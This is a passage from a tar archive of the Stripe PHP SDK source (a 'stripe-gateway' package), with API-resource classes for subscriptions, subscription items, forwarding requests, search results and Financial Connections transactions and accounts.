relationships. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property null|\Stripe\StripeObject $billing_thresholds Define thresholds at which an invoice will be sent, and the related subscription advanced to a new billing period * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property (string|\Stripe\Discount)[] $discounts The discounts applied to the subscription item. Subscription item discounts are applied before subscription discounts. Use <code>expand[]=discounts</code> to expand each discount. * @property \Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property \Stripe\Plan $plan <p>You can now model subscriptions more flexibly using the <a href="https://stripe.com/docs/api#prices">Prices API</a>. It replaces the Plans API and is backwards compatible to simplify your migration.</p><p>Plans define the base price, currency, and billing cycle for recurring purchases of products. <a href="https://stripe.com/docs/api#products">Products</a> help you track inventory or provisioning, and plans help you track pricing. Different physical goods or levels of service should be represented by products, and pricing options should be represented by plans. This approach lets you change prices without having to change your provisioning scheme.</p><p>For example, you might have a single "gold" product that has plans for $10/month, $100/year, €9/month, and €90/year.</p><p>Related guides: <a href="https://stripe.com/docs/billing/subscriptions/set-up-subscription">Set up a subscription</a> and more about <a href="https://stripe.com/docs/products-prices/overview">products and prices</a>.</p> * @property \Stripe\Price $price <p>Prices define the unit cost, currency, and (optional) billing cycle for both recurring and one-time purchases of products. <a href="https://stripe.com/docs/api#products">Products</a> help you track inventory or provisioning, and prices help you track payment terms. Different physical goods or levels of service should be represented by products, and pricing options should be represented by prices. This approach lets you change prices without having to change your provisioning scheme.</p><p>For example, you might have a single "gold" product that has prices for $10/month, $100/year, and €9 once.</p><p>Related guides: <a href="https://stripe.com/docs/billing/subscriptions/set-up-subscription">Set up a subscription</a>, <a href="https://stripe.com/docs/billing/invoices/create">create an invoice</a>, and more about <a href="https://stripe.com/docs/products-prices/overview">products and prices</a>.</p> * @property null|int $quantity The <a href="https://stripe.com/docs/subscriptions/quantities">quantity</a> of the plan to which the customer should be subscribed. * @property string $subscription The <code>subscription</code> this <code>subscription_item</code> belongs to. * @property null|\Stripe\TaxRate[] $tax_rates The tax rates which apply to this <code>subscription_item</code>. When set, the <code>default_tax_rates</code> on the subscription do not apply to this <code>subscription_item</code>. */ class SubscriptionItem extends ApiResource { const OBJECT_NAME = 'subscription_item'; use ApiOperations\NestedResource; use ApiOperations\Update; /** * Adds a new item to an existing subscription. No existing items will be changed * or replaced. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\SubscriptionItem the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Deletes an item from the subscription. Removing a subscription item from a * subscription will not cancel the subscription. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\SubscriptionItem the deleted resource */ public function delete($params = null, $opts = null) { self::_validateParams($params); $url = $this->instanceUrl(); list($response, $opts) = $this->_request('delete', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * Returns a list of your subscription items for a given subscription. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\SubscriptionItem> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves the subscription item with the given ID. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\SubscriptionItem */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * Updates the plan or quantity of an item on a current subscription. * * @param string $id the ID of the resource to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\SubscriptionItem the updated resource */ public static function update($id, $params = null, $opts = null) { self::_validateParams($params); $url = static::resourceUrl($id); list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } const PATH_USAGE_RECORDS = '/usage_records'; /** * @param string $id the ID of the subscription item on which to create the usage record * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\UsageRecord */ public static function createUsageRecord($id, $params = null, $opts = null) { return self::_createNestedResource($id, static::PATH_USAGE_RECORDS, $params, $opts); } const PATH_USAGE_RECORD_SUMMARIES = '/usage_record_summaries'; /** * @param string $id the ID of the subscription item on which to retrieve the usage record summaries * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\UsageRecordSummary> the list of usage record summaries */ public static function allUsageRecordSummaries($id, $params = null, $opts = null) { return self::_allNestedResources($id, static::PATH_USAGE_RECORD_SUMMARIES, $params, $opts); } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Forwarding/Request.php�����������������������������������������������������������0000644�����������������00000010173�14720677707�0014545 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Forwarding; /** * Instructs Stripe to make a request on your behalf using the destination URL. The destination URL * is activated by Stripe at the time of onboarding. Stripe verifies requests with your credentials * provided during onboarding, and injects card details from the payment_method into the request. * * Stripe redacts all sensitive fields and headers, including authentication credentials and card numbers, * before storing the request and response data in the forwarding Request object, which are subject to a * 30-day retention period. * * You can provide a Stripe idempotency key to make sure that requests with the same key result in only one * outbound request. The Stripe idempotency key provided should be unique and different from any idempotency * keys provided on the underlying third-party request. * * Forwarding Requests are synchronous requests that return a response or time out according to * Stripe’s limits. * * Related guide: <a href="https://docs.stripe.com/payments/forwarding">Forward card details to third-party API endpoints</a>. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property string $payment_method The PaymentMethod to insert into the forwarded request. Forwarding previously consumed PaymentMethods is allowed. * @property string[] $replacements The field kinds to be replaced in the forwarded request. * @property null|\Stripe\StripeObject $request_context Context about the request from Stripe's servers to the destination endpoint. * @property null|\Stripe\StripeObject $request_details The request that was sent to the destination endpoint. We redact any sensitive fields. * @property null|\Stripe\StripeObject $response_details The response that the destination endpoint returned to us. We redact any sensitive fields. * @property null|string $url The destination URL for the forwarded request. Must be supported by the config. */ class Request extends \Stripe\ApiResource { const OBJECT_NAME = 'forwarding.request'; /** * Creates a ForwardingRequest object. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Forwarding\Request the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Lists all ForwardingRequest objects. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Forwarding\Request> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves a ForwardingRequest object. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Forwarding\Request */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/SearchResult.php�����������������������������������������������������������������0000644�����������������00000014774�14720677707�0013432 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe; /** * Search results for an API resource. * * This behaves similarly to <code>Collection</code> in that they both wrap * around a list of objects and provide pagination. However the * <code>SearchResult</code> object paginates by relying on a * <code>next_page</code> token included in the response rather than using * object IDs and a <code>starting_before</code>/<code>ending_after</code> * parameter. Thus, <code>SearchResult</code> only supports forwards pagination. * * The {@see $total_count} property is only available when * the `expand` parameter contains `total_count`. * * @template TStripeObject of StripeObject * @template-implements \IteratorAggregate<TStripeObject> * * @property string $object * @property string $url * @property string $next_page * @property int $total_count * @property bool $has_more * @property TStripeObject[] $data */ class SearchResult extends StripeObject implements \Countable, \IteratorAggregate { const OBJECT_NAME = 'search_result'; use ApiOperations\Request; /** @var array */ protected $filters = []; /** * @return string the base URL for the given class */ public static function baseUrl() { return Stripe::$apiBase; } /** * Returns the filters. * * @return array the filters */ public function getFilters() { return $this->filters; } /** * Sets the filters, removing paging options. * * @param array $filters the filters */ public function setFilters($filters) { $this->filters = $filters; } /** * @return mixed */ #[\ReturnTypeWillChange] public function offsetGet($k) { if (\is_string($k)) { return parent::offsetGet($k); } $msg = "You tried to access the {$k} index, but SearchResult " . 'types only support string keys. (HINT: Search calls ' . 'return an object with a `data` (which is the data ' . "array). You likely want to call ->data[{$k}])"; throw new Exception\InvalidArgumentException($msg); } /** * @param null|array $params * @param null|array|string $opts * * @throws Exception\ApiErrorException * * @return SearchResult<TStripeObject> */ public function all($params = null, $opts = null) { self::_validateParams($params); list($url, $params) = $this->extractPathAndUpdateParams($params); list($response, $opts) = $this->_request('get', $url, $params, $opts); $obj = Util\Util::convertToStripeObject($response, $opts); if (!($obj instanceof \Stripe\SearchResult)) { throw new \Stripe\Exception\UnexpectedValueException( 'Expected type ' . \Stripe\SearchResult::class . ', got "' . \get_class($obj) . '" instead.' ); } $obj->setFilters($params); return $obj; } /** * @return int the number of objects in the current page */ #[\ReturnTypeWillChange] public function count() { return \count($this->data); } /** * @return \ArrayIterator an iterator that can be used to iterate * across objects in the current page */ #[\ReturnTypeWillChange] public function getIterator() { return new \ArrayIterator($this->data); } /** * @throws Exception\ApiErrorException * * @return \Generator|TStripeObject[] A generator that can be used to * iterate across all objects across all pages. As page boundaries are * encountered, the next page will be fetched automatically for * continued iteration. */ public function autoPagingIterator() { $page = $this; while (true) { foreach ($page as $item) { yield $item; } $page = $page->nextPage(); if ($page->isEmpty()) { break; } } } /** * Returns an empty set of search results. This is returned from * {@see nextPage()} when we know that there isn't a next page in order to * replicate the behavior of the API when it attempts to return a page * beyond the last. * * @param null|array|string $opts * * @return SearchResult */ public static function emptySearchResult($opts = null) { return SearchResult::constructFrom(['data' => []], $opts); } /** * Returns true if the page object contains no element. * * @return bool */ public function isEmpty() { return empty($this->data); } /** * Fetches the next page in the resource list (if there is one). * * This method will try to respect the limit of the current page. If none * was given, the default limit will be fetched again. * * @param null|array $params * @param null|array|string $opts * * @throws Exception\ApiErrorException * * @return SearchResult<TStripeObject> */ public function nextPage($params = null, $opts = null) { if (!$this->has_more) { return static::emptySearchResult($opts); } $params = \array_merge( $this->filters ?: [], ['page' => $this->next_page], $params ?: [] ); return $this->all($params, $opts); } /** * Gets the first item from the current page. Returns `null` if the current page is empty. * * @return null|TStripeObject */ public function first() { return \count($this->data) > 0 ? $this->data[0] : null; } /** * Gets the last item from the current page. Returns `null` if the current page is empty. * * @return null|TStripeObject */ public function last() { return \count($this->data) > 0 ? $this->data[\count($this->data) - 1] : null; } private function extractPathAndUpdateParams($params) { $url = \parse_url($this->url); if (!isset($url['path'])) { throw new Exception\UnexpectedValueException("Could not parse list url into parts: {$url}"); } if (isset($url['query'])) { // If the URL contains a query param, parse it out into $params so they // don't interact weirdly with each other. $query = []; \parse_str($url['query'], $query); $params = \array_merge($params ?: [], $query); } return [$url['path'], $params]; } } ����stripe-gateway/lib/Subscription.php�����������������������������������������������������������������0000644�����������������00000052770�14720677707�0013510 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * Subscriptions allow you to charge a customer on a recurring basis. * * Related guide: <a href="https://stripe.com/docs/billing/subscriptions/creating">Creating subscriptions</a> * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property null|string|\Stripe\Application $application ID of the Connect Application that created the subscription. * @property null|float $application_fee_percent A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the application owner's Stripe account. * @property \Stripe\StripeObject $automatic_tax * @property int $billing_cycle_anchor The reference point that aligns future <a href="https://stripe.com/docs/subscriptions/billing-cycle">billing cycle</a> dates. It sets the day of week for <code>week</code> intervals, the day of month for <code>month</code> and <code>year</code> intervals, and the month of year for <code>year</code> intervals. The timestamp is in UTC format. * @property null|\Stripe\StripeObject $billing_cycle_anchor_config The fixed values used to calculate the <code>billing_cycle_anchor</code>. * @property null|\Stripe\StripeObject $billing_thresholds Define thresholds at which an invoice will be sent, and the subscription advanced to a new billing period * @property null|int $cancel_at A date in the future at which the subscription will automatically get canceled * @property bool $cancel_at_period_end If the subscription has been canceled with the <code>at_period_end</code> flag set to <code>true</code>, <code>cancel_at_period_end</code> on the subscription will be true. You can use this attribute to determine whether a subscription that has a status of active is scheduled to be canceled at the end of the current period. * @property null|int $canceled_at If the subscription has been canceled, the date of that cancellation. If the subscription was canceled with <code>cancel_at_period_end</code>, <code>canceled_at</code> will reflect the time of the most recent update request, not the end of the subscription period when the subscription is automatically moved to a canceled state. * @property null|\Stripe\StripeObject $cancellation_details Details about why this subscription was cancelled * @property string $collection_method Either <code>charge_automatically</code>, or <code>send_invoice</code>. When charging automatically, Stripe will attempt to pay this subscription at the end of the cycle using the default source attached to the customer. When sending an invoice, Stripe will email your customer an invoice with payment instructions and mark the subscription as <code>active</code>. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property string $currency Three-letter <a href="https://www.iso.org/iso-4217-currency-codes.html">ISO currency code</a>, in lowercase. Must be a <a href="https://stripe.com/docs/currencies">supported currency</a>. * @property int $current_period_end End of the current period that the subscription has been invoiced for. At the end of this period, a new invoice will be created. * @property int $current_period_start Start of the current period that the subscription has been invoiced for. * @property string|\Stripe\Customer $customer ID of the customer who owns the subscription. * @property null|int $days_until_due Number of days a customer has to pay invoices generated by this subscription. This value will be <code>null</code> for subscriptions where <code>collection_method=charge_automatically</code>. * @property null|string|\Stripe\PaymentMethod $default_payment_method ID of the default payment method for the subscription. It must belong to the customer associated with the subscription. This takes precedence over <code>default_source</code>. If neither are set, invoices will use the customer's <a href="https://stripe.com/docs/api/customers/object#customer_object-invoice_settings-default_payment_method">invoice_settings.default_payment_method</a> or <a href="https://stripe.com/docs/api/customers/object#customer_object-default_source">default_source</a>. * @property null|string|\Stripe\Account|\Stripe\BankAccount|\Stripe\Card|\Stripe\Source $default_source ID of the default payment source for the subscription. It must belong to the customer associated with the subscription and be in a chargeable state. If <code>default_payment_method</code> is also set, <code>default_payment_method</code> will take precedence. If neither are set, invoices will use the customer's <a href="https://stripe.com/docs/api/customers/object#customer_object-invoice_settings-default_payment_method">invoice_settings.default_payment_method</a> or <a href="https://stripe.com/docs/api/customers/object#customer_object-default_source">default_source</a>. * @property null|\Stripe\TaxRate[] $default_tax_rates The tax rates that will apply to any subscription item that does not have <code>tax_rates</code> set. Invoices created will have their <code>default_tax_rates</code> populated from the subscription. * @property null|string $description The subscription's description, meant to be displayable to the customer. Use this field to optionally store an explanation of the subscription for rendering in Stripe surfaces and certain local payment methods UIs. * @property null|\Stripe\Discount $discount Describes the current discount applied to this subscription, if there is one. When billing, a discount applied to a subscription overrides a discount applied on a customer-wide basis. This field has been deprecated and will be removed in a future API version. Use <code>discounts</code> instead. * @property (string|\Stripe\Discount)[] $discounts The discounts applied to the subscription. Subscription item discounts are applied before subscription discounts. Use <code>expand[]=discounts</code> to expand each discount. * @property null|int $ended_at If the subscription has ended, the date the subscription ended. * @property \Stripe\StripeObject $invoice_settings * @property \Stripe\Collection<\Stripe\SubscriptionItem> $items List of subscription items, each with an attached price. * @property null|string|\Stripe\Invoice $latest_invoice The most recent invoice this subscription has generated. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property \Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property null|int $next_pending_invoice_item_invoice Specifies the approximate timestamp on which any pending invoice items will be billed according to the schedule provided at <code>pending_invoice_item_interval</code>. * @property null|string|\Stripe\Account $on_behalf_of The account (if any) the charge was made on behalf of for charges associated with this subscription. See the Connect documentation for details. * @property null|\Stripe\StripeObject $pause_collection If specified, payment collection for this subscription will be paused. Note that the subscription status will be unchanged and will not be updated to <code>paused</code>. Learn more about <a href="/billing/subscriptions/pause-payment">pausing collection</a>. * @property null|\Stripe\StripeObject $payment_settings Payment settings passed on to invoices created by the subscription. * @property null|\Stripe\StripeObject $pending_invoice_item_interval Specifies an interval for how often to bill for any pending invoice items. It is analogous to calling <a href="https://stripe.com/docs/api#create_invoice">Create an invoice</a> for the given subscription at the specified interval. * @property null|string|\Stripe\SetupIntent $pending_setup_intent You can use this <a href="https://stripe.com/docs/api/setup_intents">SetupIntent</a> to collect user authentication when creating a subscription without immediate payment or updating a subscription's payment method, allowing you to optimize for off-session payments. Learn more in the <a href="https://stripe.com/docs/billing/migration/strong-customer-authentication#scenario-2">SCA Migration Guide</a>. * @property null|\Stripe\StripeObject $pending_update If specified, <a href="https://stripe.com/docs/billing/subscriptions/pending-updates">pending updates</a> that will be applied to the subscription once the <code>latest_invoice</code> has been paid. * @property null|string|\Stripe\SubscriptionSchedule $schedule The schedule attached to the subscription * @property int $start_date Date when the subscription was first created. The date might differ from the <code>created</code> date due to backdating. * @property string $status <p>Possible values are <code>incomplete</code>, <code>incomplete_expired</code>, <code>trialing</code>, <code>active</code>, <code>past_due</code>, <code>canceled</code>, <code>unpaid</code>, or <code>paused</code>.</p><p>For <code>collection_method=charge_automatically</code> a subscription moves into <code>incomplete</code> if the initial payment attempt fails. A subscription in this status can only have metadata and default_source updated. Once the first invoice is paid, the subscription moves into an <code>active</code> status. If the first invoice is not paid within 23 hours, the subscription transitions to <code>incomplete_expired</code>. This is a terminal status, the open invoice will be voided and no further invoices will be generated.</p><p>A subscription that is currently in a trial period is <code>trialing</code> and moves to <code>active</code> when the trial period is over.</p><p>A subscription can only enter a <code>paused</code> status <a href="/billing/subscriptions/trials#create-free-trials-without-payment">when a trial ends without a payment method</a>. A <code>paused</code> subscription doesn't generate invoices and can be resumed after your customer adds their payment method. The <code>paused</code> status is different from <a href="/billing/subscriptions/pause-payment">pausing collection</a>, which still generates invoices and leaves the subscription's status unchanged.</p><p>If subscription <code>collection_method=charge_automatically</code>, it becomes <code>past_due</code> when payment is required but cannot be paid (due to failed payment or awaiting additional user actions). Once Stripe has exhausted all payment retry attempts, the subscription will become <code>canceled</code> or <code>unpaid</code> (depending on your subscriptions settings).</p><p>If subscription <code>collection_method=send_invoice</code> it becomes <code>past_due</code> when its invoice is not paid by the due date, and <code>canceled</code> or <code>unpaid</code> if it is still not paid by an additional deadline after that. Note that when a subscription has a status of <code>unpaid</code>, no subsequent invoices will be attempted (invoices will be created, but then immediately automatically closed). After receiving updated payment information from a customer, you may choose to reopen and pay their closed invoices.</p> * @property null|string|\Stripe\TestHelpers\TestClock $test_clock ID of the test clock this subscription belongs to. * @property null|\Stripe\StripeObject $transfer_data The account (if any) the subscription's payments will be attributed to for tax reporting, and where funds from each payment will be transferred to for each of the subscription's invoices. * @property null|int $trial_end If the subscription has a trial, the end of that trial. * @property null|\Stripe\StripeObject $trial_settings Settings related to subscription trials. * @property null|int $trial_start If the subscription has a trial, the beginning of that trial. */ class Subscription extends ApiResource { const OBJECT_NAME = 'subscription'; use ApiOperations\Update; const COLLECTION_METHOD_CHARGE_AUTOMATICALLY = 'charge_automatically'; const COLLECTION_METHOD_SEND_INVOICE = 'send_invoice'; const STATUS_ACTIVE = 'active'; const STATUS_CANCELED = 'canceled'; const STATUS_INCOMPLETE = 'incomplete'; const STATUS_INCOMPLETE_EXPIRED = 'incomplete_expired'; const STATUS_PAST_DUE = 'past_due'; const STATUS_PAUSED = 'paused'; const STATUS_TRIALING = 'trialing'; const STATUS_UNPAID = 'unpaid'; /** * Creates a new subscription on an existing customer. Each customer can have up to * 500 active or scheduled subscriptions. * * When you create a subscription with * <code>collection_method=charge_automatically</code>, the first invoice is * finalized as part of the request. The <code>payment_behavior</code> parameter * determines the exact behavior of the initial payment. * * To start subscriptions where the first invoice always begins in a * <code>draft</code> status, use <a * href="/docs/billing/subscriptions/subscription-schedules#managing">subscription * schedules</a> instead. Schedules provide the flexibility to model more complex * billing configurations that change over time. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Subscription the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * By default, returns a list of subscriptions that have not been canceled. In * order to list canceled subscriptions, specify <code>status=canceled</code>. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Subscription> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves the subscription with the given ID. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Subscription */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * Updates an existing subscription to match the specified parameters. When * changing prices or quantities, we optionally prorate the price we charge next * month to make up for any price changes. To preview how the proration is * calculated, use the <a href="/docs/api/invoices/create_preview">create * preview</a> endpoint. * * By default, we prorate subscription changes. For example, if a customer signs up * on May 1 for a <currency>100</currency> price, they’ll be billed * <currency>100</currency> immediately. If on May 15 they switch to a * <currency>200</currency> price, then on June 1 they’ll be billed * <currency>250</currency> (<currency>200</currency> for a renewal of her * subscription, plus a <currency>50</currency> prorating adjustment for half of * the previous month’s <currency>100</currency> difference). Similarly, a * downgrade generates a credit that is applied to the next invoice. We also * prorate when you make quantity changes. * * Switching prices does not normally change the billing date or generate an * immediate charge unless: * * <ul> <li>The billing interval is changed (for example, from monthly to * yearly).</li> <li>The subscription moves from free to paid.</li> <li>A trial * starts or ends.</li> </ul> * * In these cases, we apply a credit for the unused time on the previous price, * immediately charge the customer using the new price, and reset the billing date. * Learn about how <a * href="/billing/subscriptions/upgrade-downgrade#immediate-payment">Stripe * immediately attempts payment for subscription changes</a>. * * If you want to charge for an upgrade immediately, pass * <code>proration_behavior</code> as <code>always_invoice</code> to create * prorations, automatically invoice the customer for those proration adjustments, * and attempt to collect payment. If you pass <code>create_prorations</code>, the * prorations are created but not automatically invoiced. If you want to bill the * customer for the prorations before the subscription’s renewal date, you need to * manually <a href="/docs/api/invoices/create">invoice the customer</a>. * * If you don’t want to prorate, set the <code>proration_behavior</code> option to * <code>none</code>. With this option, the customer is billed * <currency>100</currency> on May 1 and <currency>200</currency> on June 1. * Similarly, if you set <code>proration_behavior</code> to <code>none</code> when * switching between different billing intervals (for example, from monthly to * yearly), we don’t generate any credits for the old subscription’s unused time. * We still reset the billing date and bill immediately for the new subscription. * * Updating the quantity on a subscription many times in an hour may result in <a * href="/docs/rate-limits">rate limiting</a>. If you need to bill for a frequently * changing quantity, consider integrating <a * href="/docs/billing/subscriptions/usage-based">usage-based billing</a> instead. * * @param string $id the ID of the resource to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Subscription the updated resource */ public static function update($id, $params = null, $opts = null) { self::_validateParams($params); $url = static::resourceUrl($id); list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } use ApiOperations\Delete { delete as protected _delete; } public static function getSavedNestedResources() { static $savedNestedResources = null; if (null === $savedNestedResources) { $savedNestedResources = new Util\Set([ 'source', ]); } return $savedNestedResources; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Subscription the updated subscription */ public function deleteDiscount($params = null, $opts = null) { $url = $this->instanceUrl() . '/discount'; list($response, $opts) = $this->_request('delete', $url, $params, $opts); $this->refreshFrom(['discount' => null], $opts, true); return $this; } const PAYMENT_BEHAVIOR_ALLOW_INCOMPLETE = 'allow_incomplete'; const PAYMENT_BEHAVIOR_DEFAULT_INCOMPLETE = 'default_incomplete'; const PAYMENT_BEHAVIOR_ERROR_IF_INCOMPLETE = 'error_if_incomplete'; const PAYMENT_BEHAVIOR_PENDING_IF_INCOMPLETE = 'pending_if_incomplete'; const PRORATION_BEHAVIOR_ALWAYS_INVOICE = 'always_invoice'; const PRORATION_BEHAVIOR_CREATE_PRORATIONS = 'create_prorations'; const PRORATION_BEHAVIOR_NONE = 'none'; /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Subscription the canceled subscription */ public function cancel($params = null, $opts = null) { $url = $this->instanceUrl(); list($response, $opts) = $this->_request('delete', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Subscription the resumed subscription */ public function resume($params = null, $opts = null) { $url = $this->instanceUrl() . '/resume'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\SearchResult<\Stripe\Subscription> the subscription search results */ public static function search($params = null, $opts = null) { $url = '/v1/subscriptions/search'; return static::_requestPage($url, \Stripe\SearchResult::class, $params, $opts); } } ��������stripe-gateway/lib/FinancialConnections/Transaction.php���������������������������������������������0000644�����������������00000005473�14720677707�0017376 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\FinancialConnections; /** * A Transaction represents a real transaction that affects a Financial Connections Account balance. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property string $account The ID of the Financial Connections Account this transaction belongs to. * @property int $amount The amount of this transaction, in cents (or local equivalent). * @property string $currency Three-letter <a href="https://www.iso.org/iso-4217-currency-codes.html">ISO currency code</a>, in lowercase. Must be a <a href="https://stripe.com/docs/currencies">supported currency</a>. * @property string $description The description of this transaction. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property string $status The status of the transaction. * @property \Stripe\StripeObject $status_transitions * @property int $transacted_at Time at which the transaction was transacted. Measured in seconds since the Unix epoch. * @property string $transaction_refresh The token of the transaction refresh that last updated or created this transaction. * @property int $updated Time at which the object was last updated. Measured in seconds since the Unix epoch. */ class Transaction extends \Stripe\ApiResource { const OBJECT_NAME = 'financial_connections.transaction'; const STATUS_PENDING = 'pending'; const STATUS_POSTED = 'posted'; const STATUS_VOID = 'void'; /** * Returns a list of Financial Connections <code>Transaction</code> objects. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\FinancialConnections\Transaction> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves the details of a Financial Connections <code>Transaction</code>. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\FinancialConnections\Transaction */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/FinancialConnections/Account.php�������������������������������������������������0000644�����������������00000016371�14720677707�0016504 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\FinancialConnections; /** * A Financial Connections Account represents an account that exists outside of Stripe, to which you have been granted some degree of access. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property null|\Stripe\StripeObject $account_holder The account holder that this account belongs to. * @property null|\Stripe\StripeObject $balance The most recent information about the account's balance. * @property null|\Stripe\StripeObject $balance_refresh The state of the most recent attempt to refresh the account balance. * @property string $category The type of the account. Account category is further divided in <code>subcategory</code>. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property null|string $display_name A human-readable name that has been assigned to this account, either by the account holder or by 